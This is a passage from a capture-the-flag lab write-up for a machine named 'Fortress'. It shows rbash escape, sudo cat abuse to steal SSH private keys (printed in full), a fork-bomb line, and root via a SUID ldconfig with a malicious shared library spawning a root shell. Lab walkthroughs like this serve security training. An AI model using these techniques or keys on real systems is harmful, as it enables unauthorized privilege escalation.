PcjDUa1BslqPt1lHZvW+coIVNHCWt4r0ywMkPI4ylHfDAAId6LNUelyI72boEE3Q97wQAA
AMBp8KaQnnrieHw6k8/3AxqmjxxNaPAirdv5o59YCKx8Z6b5oOTC3zqTl2o9nC95u9K0WN
+tPziB4b6M4i2vcTgkf04riTBlXOhs1Coq6g4UK7hA8muncm7gMjyTSekGRDJ117aA/YY4
ElzAdURyEezsx7yUjK3u11ydd2FRbPbE1iXw1wbSaI1jGfkRW/QTSVKEOfaLqo0xgIPLxf
OTT6n6O3ARkh5++759yOVRc2uWB1cJdqDUxunGKA/rWTehwnsAAADBAPsaN5DkfL4/LL1t
PDfENpS68GvImWMNPDh4/d1SkShizvQRGSzLm1V6K/KVprGZJR0ewgRRGMwgdd5XUnFxE7
eQtyBnu4gLaNWRtRer3Zvr9/KzVkewfbLteKqZyx1B1vB19M5jn4m5oT85T7789ORrx5B6
SXvnmQIx7ByT4W4ClgPyR0eRRn88OIw7QhFdeMH/BpZ7DQLSJZzhdtavOJnomIDjDH1wTf
FG881GZpev3A+Z3VNKj1iN9gVzLcDKuQAAAMEAyvW4u/krg/vMpMRwWsVeLxqzN3SsLOQd
HxEdwnZMZIitYBeUiebkbRCrBy7D0rsFtfF5uC8BKUv7b8WG9YFZhnRvjodVMyYMmORAro
gTdM9rBCdKNMf/z0q36oMpO0On8MkXTv7W1oJ10eoF0oICVU6mKRUAUHmSoxYXN3msvLvZ
u6zkw+OP8QJX2zwbah38yuRhh8xRf2AlXtx2IxklXV/b8+6QH74Z5o7ZVbTLhzsv0fhFLe
8aBV2g1DdSMuSzAAAADmo0eDBuQDB2ZXJmbGF3AQIDBA==
-----END OPENSSH PRIVATE KEY-----
Excellent, let’s try logging in now as user h4rdy
using this found key
rob:sha1collider/ (master✗) $ ssh h4rdy@fortress -i h4rdy_id_rsa
Warning: Permanently added the ECDSA host key for IP address '10.10.17.81' to the list of known hosts.
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-210-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
UA Infra: Extended Security Maintenance (ESM) is not enabled.
0 updates can be applied immediately.
39 additional security updates can be applied with UA Infra: ESM
Learn more about enabling UA Infra: ESM service for Ubuntu 16.04 at
https://ubuntu.com/16-04
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Mon Jul 26 14:04:41 2021 from 192.168.150.128
h4rdy@fortress:~$ id
-rbash: /usr/lib/command-not-found: restricted: cannot specify `/' in command names
And we’re in, albeit to a restricted shell
User h4rdy - escape rbash
First things first, we have to escape this restricted shell
Let’s drop back to our attackbox and ssh
once more, this time specifying that we do not want to source the .bashrc
file (as this is typically where restrictions are configured)
rob:sha1collider/ (master✗) $ ssh h4rdy@fortress -i h4rdy_id_rsa "bash --noprofile"
id
uid=1002(h4rdy) gid=1002(h4rdy) groups=1002(h4rdy)
Ok, we’re in, and without restrictions, but we don’t have a proper terminal, so we have to fix that. Let’s try using our usual ‘magic’ trick to stablize a terminal
/usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'
h4rdy@fortress:~$ ls
ls
Command 'ls' is available in '/bin/ls'
The command could not be located because '/bin' is not included in the PATH environment variable.
ls: command not found
h4rdy@fortress:~$
Seems like someone has messed with the path
h4rdy@fortress:~$ echo $PATH
echo $PATH
/home/h4rdy
Let’s reset that too
h4rdy@fortress:~$ source /etc/environment
source /etc/environment
h4rdy@fortress:~$ echo $PATH
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
And a test now
h4rdy@fortress:~$ tail /etc/passwd
tail /etc/passwd
syslog❌104:108::/home/syslog:/bin/false
_apt❌105:65534::/nonexistent:/bin/false
messagebus❌107:111::/var/run/dbus:/bin/false
uuidd❌108:112::/run/uuidd:/bin/false
dnsmasq❌109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
j4x0n❌1000:1000:j4x0n,,,:/home/j4x0n:/bin/bash
sshd❌110:65534::/var/run/sshd:/usr/sbin/nologin
ftp❌111:118:ftp daemon,,,:/srv/ftp:/bin/false
veekay❌1001:1001::/home/veekay:/bin/bash
h4rdy❌1002:1002::/home/h4rdy:/bin/rbash
There we are, not a perfect shell but good enough for now. The /etc/passwd
extract shows us that users j4x0n
and veekay
have non-restricted shells, it would be handy therefore to move to one of them
User h4rdy to j4x0n
Let’s check our sudo
rights, if any
h4rdy@fortress:/home/j4x0n$ sudo -l
sudo -l
Matching Defaults entries for h4rdy on fortress:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User h4rdy may run the following commands on fortress:
(j4x0n) NOPASSWD: /bin/cat
We have a handy gtfobins hack for cat
h4rdy@fortress:/home/j4x0n$ sudo -u j4x0n /bin/cat .ssh/id_rsa
sudo -u j4x0n /bin/cat .ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
And we have another private key, we can connect now as user j4x0n
User j4x0n privesc to root
Let’s connect as j4x0n
and grab the user flag
rob:Fortress/ $ ssh j4x0n@fortress -i j4x0n_id_rsa
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-210-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
UA Infra: Extended Security Maintenance (ESM) is not enabled.
0 updates can be applied immediately.
39 additional security updates can be applied with UA Infra: ESM
Learn more about enabling UA Infra: ESM service for Ubuntu 16.04 at
https://ubuntu.com/16-04
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Mon Jul 26 15:21:48 2021 from 192.168.150.128
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
j4x0n@fortress:~$ id
uid=1000(j4x0n) gid=1000(j4x0n) groups=1000(j4x0n),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
j4x0n@fortress:~$ cat user.txt
`REDACTED`
We can see very quickly that j4x0n
is a member of the lxd
group. This could easily be a path to root, but is probably unintended so let’s look around for another route
We find a taunt in ~j4x0n/endgame.txt
j4x0n@fortress:~$ cat endgame.txt
Bwahahaha, you're late my boi!! I have already patched everything... There's nothing you can exploit to gain root... Accept your defeat once and for all, and I shall let you leave alive.
We can have a look for files that do not belong
j4x0n@fortress:~$ find / -user j4x0n 2>/dev/null
/usr/lib/libfoo.so
/proc/2086
--snip--
/home/j4x0n
--snip--
/home/j4x0n/user.txt
--snip--
That /usr/bin/libfoo.so
file looks very odd, let’s look a little closer
j4x0n@fortress:~$ strings /usr/lib/libfoo.so
--snip--
Bwahaha, You just stepped into a booby trap XP
sleep 2 && func(){func|func& cat /dev/urandom &};func
--snip--
Ok, so this is just part of some boobytrap, let’s step carefully around it! 😄
If we have another quick search for SUID/SGID files we find something odd
j4x0n@fortress:~$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -la {} \; 2> /dev/null
-rwsr-xr-x 1 root root 615496 Jul 25 21:21 /usr/local/bin/sudo
--snip0--
-rwsr-xr-x 1 root root 136808 Jan 20 2021 /usr/bin/sudo
--snip--
-rwsrwxr-x 1 root root 16696 Jul 26 12:55 /opt/bt
--snip--
We have 2 versions of sudo
on the box
j4x0n@fortress:~$ /usr/local/bin/sudo -V
Sudo version 1.9.7
Sudoers policy plugin version 1.9.7
Sudoers file grammar version 48
Sudoers I/O plugin version 1.9.7
Sudoers audit plugin version 1.9.7
j4x0n@fortress:~$ /usr/bin/sudo -V
Sudo version 1.8.16
Sudoers policy plugin version 1.8.16
Sudoers file grammar version 45
Sudoers I/O plugin version 1.8.16
Version 1.8.16 is vulnerable to a couple of well-known exploits, CVE-2019-14287
and CVE-2021-3156
but with some quick checking we can verify that neither apply here
We also find another odd SUID, /opt/bt
j4x0n@fortress:~$ strings /opt/bt
--snip--
libfoo.so
--snip--
Root Shell Initialized...
Exploiting kernel at super illuminal speeds...
Getting Root...
--snip--
Ok, so this seems to be the binary that triggers the booby-trap we found earlier. We can verify this
j4x0n@fortress:~$ ldd /opt/bt
linux-vdso.so.1 => (0x00007fff05728000)
libfoo.so => /usr/lib/libfoo.so (0x00007f3bc5ca6000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3bc56c9000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3bc5a93000)
When we have a Shared Object library we can sometimes create and substitute in a malicious version, if we can find a way to include it on the path such that it is found before the real one
None of the locations configured is accessible to us, but if we can’t write to the existing ones we can use ldconfig
to add a location and put our file there instead if we have SUID or SUDO rights to the binary. A good guide to this is HackTricks
j4x0n@fortress:~$ which ldconfig
j4x0n@fortress:~$ find / -name ldconfig* 2>/dev/null
/usr/share/man/man8/ldconfig.8.gz
/sbin/ldconfig.real
/var/lib/dpkg/triggers/ldconfig
/var/cache/ldconfig
j4x0n@fortress:~$ ls -la $(which ldconfig.real)
-rwsr-xr-x 1 root root 1000608 Apr 21 23:44 /sbin/ldconfig.real
We don’t have an ldconfig
file, but we do have ldconfig.real
, and it has SUID permissions. This looks promising
j4x0n@fortress:~$ ldconfig.real --help
Usage: ldconfig.real [OPTION...]
Configure Dynamic Linker Run Time Bindings.
-c, --format=FORMAT Format to use: new, old or compat (default)
-C CACHE Use CACHE as cache file
-f CONF Use CONF as configuration file
-i, --ignore-aux-cache Ignore auxiliary cache file
-l Manually link individual libraries.
-n Only process directories specified on the command
line. Don't build cache.
-N Don't build cache
-p, --print-cache Print cache
-r ROOT Change to and use ROOT as root directory
-v, --verbose Generate verbose messages
-X Don't update symbolic links
-?, --help Give this help list
--usage Give a short usage message
-V, --version Print program version
Mandatory or optional arguments to long options are also mandatory or optional
for any corresponding short options.
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
And this is the right file, just renamed. Looking at the help details we can find -f CONF Use CONF as configuration file
, that sounds perfect for our needs
So first we can make a .conf
file, which in turn will point to our fake .so
file
j4x0n@fortress:~$ echo '/tmp' > /tmp/fake.location.list.conf
j4x0n@fortress:~$ echo 'include /tmp/conf/*' > /tmp/conf/fake.libfoo.so.conf
And now we can make a malicious .so
file that escalates our privileges. Something like this should do the trick
j4x0n@fortress:~$ vi /tmp/fake.libfoo.c
j4x0n@fortress:~$ cat /tmp/fake.libfoo.c
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
void replace_me(){
setuid(0);
setgid(0);
printf("Nah, no booby trap here, have a root shell instead!\n");
system("/bin/sh",NULL,NULL);
}
But we have one more problem, in our malicious substitute we need to have the same function name as in the real file. Therefore when the calling program (/opt/bt
) calls that function, ours will be found. So what is the correct function name?
We can use nm
to get a look inside the libfoo.so
binary (thanks stackoverflow!)
j4x0n@fortress:~$ nm -D /usr/lib/libfoo.so
w __cxa_finalize
0000000000001125 T foo
w __gmon_start__
w _ITM_deregisterTMCloneTable
w _ITM_registerTMCloneTable
U puts
U sleep
U system
Exported symbols are denoted by T
. There’s only one of these so we can safely assume that foo
is the function name. Substituting that into our fake shared object file we can now compile it
j4x0n@fortress:~$ vi /tmp/fake.libfoo.c
j4x0n@fortress:~$ gcc -shared -o /tmp/libfoo.so -fPIC /tmp/fake.libfoo.c
/tmp/fake.libfoo.c: In function ‘foo’:
/tmp/fake.libfoo.c:9:5: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration]
system("/bin/sh",NULL,NULL);
^
We get a warning, but it’s nothing to worry about. Let’s see if we can take over the libfoo.so
shared object library then
j4x0n@fortress:/tmp$ ldconfig.real -f fake.location.list.conf
j4x0n@fortress:/tmp$ ldd /opt/bt
linux-vdso.so.1 => (0x00007ffc9cf0b000)
libfoo.so => /tmp/libfoo.so (0x00007fdf5ed8e000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fdf5e9c4000)
/lib64/ld-linux-x86-64.so.2 (0x00007fdf5ef90000)
And we have a result! /bin/bt
is now going to use our malicious library. Let’s run it now and (hopefully) get our root shell
j4x0n@fortress:/tmp$ /opt/bt
Root Shell Initialized...
Exploiting kernel at super illuminal speeds...
Getting Root...
Nah, no booby trap here, have a root shell instead!
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(j4x0n)
# cat /root/root.txt
`REDACTED`
And we get the root flag, pwned!